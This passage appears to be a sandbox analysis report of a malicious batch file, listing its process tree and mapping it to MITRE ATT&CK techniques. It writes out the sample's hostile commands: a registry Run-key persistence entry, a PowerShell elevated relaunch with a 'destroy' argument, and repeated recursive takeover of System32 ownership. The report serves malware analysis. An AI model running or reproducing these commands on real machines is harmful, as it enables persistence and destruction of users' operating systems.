        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v SystemUpdate /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\system32update.bat" /f
        39⤵
        Modifies registry key
        
        PID:2036
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 10 /nobreak
        39⤵
        Delays execution with timeout.exe
        
        PID:4708
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c C:\Users\Admin\AppData\Local\Temp\system32update.bat destroy' -Verb RunAs"
        39⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4564
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c C:\Users\Admin\AppData\Local\Temp\system32update.bat destroy
        40⤵
        Executes a command shell one-liner
        
        PID:5644
        
        C:\Windows\system32\mode.com
        
        mode con cols=140 lines=60
        41⤵
        
        PID:3848
        
        C:\Windows\system32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v SystemUpdate /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\system32update.bat" /f
        41⤵
        Modifies registry key
        
        PID:936
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 10 /nobreak
        41⤵
        
        PID:5880
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c C:\Users\Admin\AppData\Local\Temp\system32update.bat destroy' -Verb RunAs"
        41⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5944
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c C:\Users\Admin\AppData\Local\Temp\system32update.bat destroy
        42⤵
        Executes a command shell one-liner
        
        PID:4864
        
        C:\Windows\system32\mode.com
        
        mode con cols=140 lines=60
        43⤵
        
        PID:4436
        
        C:\Windows\system32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v SystemUpdate /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\system32update.bat" /f
        43⤵
        Modifies registry key
        
        PID:3224
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 10 /nobreak
        43⤵
        Delays execution with timeout.exe
        
        PID:4704
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c C:\Users\Admin\AppData\Local\Temp\system32update.bat destroy' -Verb RunAs"
        43⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2496
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 5 /nobreak
        41⤵
        Delays execution with timeout.exe
        
        PID:4592
        
        C:\Windows\system32\takeown.exe
        
        takeown /f C:\Windows\System32 /r /d y
        41⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:5972
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 5 /nobreak
        39⤵
        Delays execution with timeout.exe
        
        PID:5092
        
        C:\Windows\system32\takeown.exe
        
        takeown /f C:\Windows\System32 /r /d y
        39⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:1832
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 5 /nobreak
        37⤵
        Delays execution with timeout.exe
        
        PID:3580
        
        C:\Windows\system32\takeown.exe
        
        takeown /f C:\Windows\System32 /r /d y
        37⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:1288
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 5 /nobreak
        35⤵
        Delays execution with timeout.exe
        
        PID:5960
        
        C:\Windows\system32\takeown.exe
        
        takeown /f C:\Windows\System32 /r /d y
        35⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:1920
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 5 /nobreak
        33⤵
        
        PID:3640
        
        C:\Windows\system32\takeown.exe
        
        takeown /f C:\Windows\System32 /r /d y
        33⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:5260
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 5 /nobreak
        31⤵
        Delays execution with timeout.exe
        
        PID:5984
        
        C:\Windows\system32\takeown.exe
        
        takeown /f C:\Windows\System32 /r /d y
        31⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:4152
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 5 /nobreak
        29⤵
        Delays execution with timeout.exe
        
        PID:2664
        
        C:\Windows\system32\takeown.exe
        
        takeown /f C:\Windows\System32 /r /d y
        29⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:2116
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 5 /nobreak
        27⤵
        Delays execution with timeout.exe
        
        PID:5056
        
        C:\Windows\system32\takeown.exe
        
        takeown /f C:\Windows\System32 /r /d y
        27⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:5472
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 5 /nobreak
        25⤵
        Delays execution with timeout.exe
        
        PID:2884
        
        C:\Windows\system32\takeown.exe
        
        takeown /f C:\Windows\System32 /r /d y
        25⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:5816
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 5 /nobreak
        23⤵
        Delays execution with timeout.exe
        
        PID:1904
        
        C:\Windows\system32\takeown.exe
        
        takeown /f C:\Windows\System32 /r /d y
        23⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:4860
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 5 /nobreak
        21⤵
        
        PID:4124
        
        C:\Windows\system32\takeown.exe
        
        takeown /f C:\Windows\System32 /r /d y
        21⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:1692
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 5 /nobreak
        19⤵
        Delays execution with timeout.exe
        
        PID:4776
        
        C:\Windows\system32\takeown.exe
        
        takeown /f C:\Windows\System32 /r /d y
        19⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:2932
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 5 /nobreak
        17⤵
        
        PID:2984
        
        C:\Windows\system32\takeown.exe
        
        takeown /f C:\Windows\System32 /r /d y
        17⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:4368
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 5 /nobreak
        15⤵
        Delays execution with timeout.exe
        
        PID:1340
        
        C:\Windows\system32\takeown.exe
        
        takeown /f C:\Windows\System32 /r /d y
        15⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:2904
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 5 /nobreak
        13⤵
        Delays execution with timeout.exe
        
        PID:5896
        
        C:\Windows\system32\takeown.exe
        
        takeown /f C:\Windows\System32 /r /d y
        13⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:2800
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 5 /nobreak
        11⤵
        Delays execution with timeout.exe
        
        PID:2132
        
        C:\Windows\system32\takeown.exe
        
        takeown /f C:\Windows\System32 /r /d y
        11⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:3276
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 5 /nobreak
        9⤵
        
        PID:3032
        
        C:\Windows\system32\takeown.exe
        
        takeown /f C:\Windows\System32 /r /d y
        9⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:624
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 5 /nobreak
        7⤵
        Delays execution with timeout.exe
        
        PID:5040
        
        C:\Windows\system32\takeown.exe
        
        takeown /f C:\Windows\System32 /r /d y
        7⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:2636
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 5 /nobreak
        5⤵
        Delays execution with timeout.exe
        
        PID:5536
    - - C:\Windows\system32\takeown.exe
        
        takeown /f C:\Windows\System32 /r /d y
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        Suspicious use of AdjustPrivilegeToken
        
        PID:4168
- - C:\Windows\system32\timeout.exe
    timeout /t 5 /nobreak
    3⤵
    PID:2524
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Windows\System32 /r /d y
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:5012

C:\Windows\system32\timeout.exe
timeout /t 5 /nobreak
1⤵
- Delays execution with timeout.exe
PID:3568

C:\Windows\system32\takeown.exe
takeown /f C:\Windows\System32 /r /d y
1⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:2948

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

File and Directory Permissions Modification

T1222

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact